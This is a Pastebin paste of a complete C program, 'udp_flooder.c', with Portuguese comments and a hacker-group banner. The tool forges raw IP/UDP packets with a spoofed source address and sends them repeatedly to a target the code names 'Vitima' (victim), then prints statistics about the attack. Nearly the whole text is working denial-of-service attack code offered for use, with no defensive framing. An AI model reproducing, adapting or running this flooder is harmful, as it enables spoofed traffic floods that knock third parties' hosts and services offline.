Guest User

udp_flooder.c

a guest
Nov 17th, 2014
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.90 KB | None | 0 0
  1. #include <stdio.h>                          // fprintf e tals.
  2. #include <errno.h>                          // Library p/ checagem de erros.
  3. #include <netdb.h>                          // struct hostent e functions...
  4. #include <stdlib.h>                         // exit (), system () e tals.  
  5. #include <string.h>                         // bzero (), memcpy() e tals.
  6. #include <unistd.h>                         // getuid (), close () e tals.
  7. #include <arpa/inet.h>                      // inet_addr e tals.
  8. #include <sys/types.h>                      // Neste header ficam shemales oO
  9. #include <sys/socket.h>                     // sendto () e tals.
  10. #include <netinet/in.h>                     // struct sockaddr_in, htons () e tals.
  11. #include <netinet/ip.h>                     // struct iphdr e tals.
  12. #include <netinet/udp.h>                    // struct udphdr e tals.
  13.  
  14. #define MAXIMUM_TRANSMISSION_UNIT 1500
  15. #define PRINT printf
  16.  
  17. struct iphdr ip_rlz;
  18. struct udphdr udp_rlz;
  19. struct sockaddr_in Vitima;
  20. struct hostent *host;
  21.  
  22. typedef unsigned char Viper_Corp_Rulez;
  23.  
  24. Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT];
  25.  
  26. int SoCk, uid=0, indice=0, msg_s=0,
  27.     XSS, x=1, bytes_send;
  28.  
  29. char *   ip_origeM;        
  30. char *   ip_destinO;
  31. int      port_origeM;
  32. int      port_destinO;
  33.    
  34. void send_UDP ();
  35.  
  36. int banner ();
  37.  
  38. int main (int argc_rulez, char *Matrix[]){
  39.    
  40.    if (argc_rulez < 7){
  41.    banner ();
  42.    fprintf (stdout, "\nUso: %s <IP_Spoof> <Vitima> <Port_origem> <Port_Destino>\
  43. <msg> <num_msgs>\n\n", *Matrix);
  44.     exit (-1);}
  45.  
  46.    uid=getuid ();
  47.    if (uid != 0){
  48.    fprintf (stderr, "   \n[Seu UID eh [%d], voce deve ser root para\
  49. usar Raw Socket]\n\n", uid);
  50.    exit (-1);}
  51.    
  52.    if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){
  53.    fprintf (stdout, "Erro ao criar socket\n");
  54.    exit (-1);}
  55.  
  56.  
  57.    int num_msg_s;
  58.    num_msg_s=atoi (Matrix[6]);
  59.    ip_origeM=Matrix[1];            
  60.    ip_destinO=Matrix[2];
  61.    port_origeM=atoi   (Matrix[3]);
  62.    port_destinO=atoi  (Matrix[4]);
  63.    char *msg;msg=Matrix[5];
  64.    
  65.    bzero (pacote, MAXIMUM_TRANSMISSION_UNIT);  
  66.  
  67.   ip_rlz.version=4;
  68.   ip_rlz.ihl=5;
  69.   ip_rlz.tos=0;
  70.   ip_rlz.id=htons (666);  
  71.   ip_rlz.ttl=255;
  72.   ip_rlz.frag_off=0;
  73.   ip_rlz.check=0;
  74.   ip_rlz.protocol=IPPROTO_UDP;
  75.   ip_rlz.saddr=inet_addr (ip_origeM);
  76.   ip_rlz.daddr=inet_addr (ip_destinO);  
  77.   ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
  78. strlen (msg));  
  79.    
  80.   udp_rlz.dest=htons (port_destinO);  
  81.   udp_rlz.source=htons (port_origeM);
  82.   udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));
  83.    
  84.   Vitima.sin_family=AF_INET;
  85.   Vitima.sin_port=udp_rlz.dest;
  86.   Vitima.sin_addr.s_addr=ip_rlz.daddr;
  87.  
  88.   memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
  89.   indice=indice + sizeof (struct iphdr);
  90.   memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
  91.   indice+= sizeof (udp_rlz);
  92.   memcpy (&pacote[indice], msg, strlen (msg));
  93.   indice+= strlen (msg);
  94.  
  95.    for (x;x <= atoi (Matrix[6]);x+=1){  
  96.    send_UDP ();
  97.    msg_s++;}
  98.    
  99.   close (SoCk);
  100.   PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n");
  101.   PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s));
  102.   PRINT ("----------------------------------------\n");
  103.   return (0);
  104. }
  105.  
  106. void send_UDP (){
  107.  
  108.   if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima,
  109. sizeof (struct sockaddr_in)) ) == -1){
  110.   fprintf (stdout, "%s", strerror (errno));
  111.   exit (-1);}
  112.    
  113. }
  114.  
  115. int banner (){
  116.  
  117.      int cOc=0;
  118.      system ("clear");
  119.    
  120.      char *banner[]={
  121.            
  122.        "[=] + ===========[####]============ + [=]\n",
  123.        "      *** Emperial Flooder[UDP] ***  \n",
  124.        "      XxX   VIPER CORP GROUP  XxX\n",
  125.        "        <-> Underground Max <->\n",
  126.        "[=] + ==========[####]============ + [=]\n\n"};
  127.      
  128.      while (cOc != 5){
  129.      printf ("%s", banner[cOc]);
  130.      ++cOc;}
  131.      return 0;}
Advertisement
Add Comment
Please, Sign In to add comment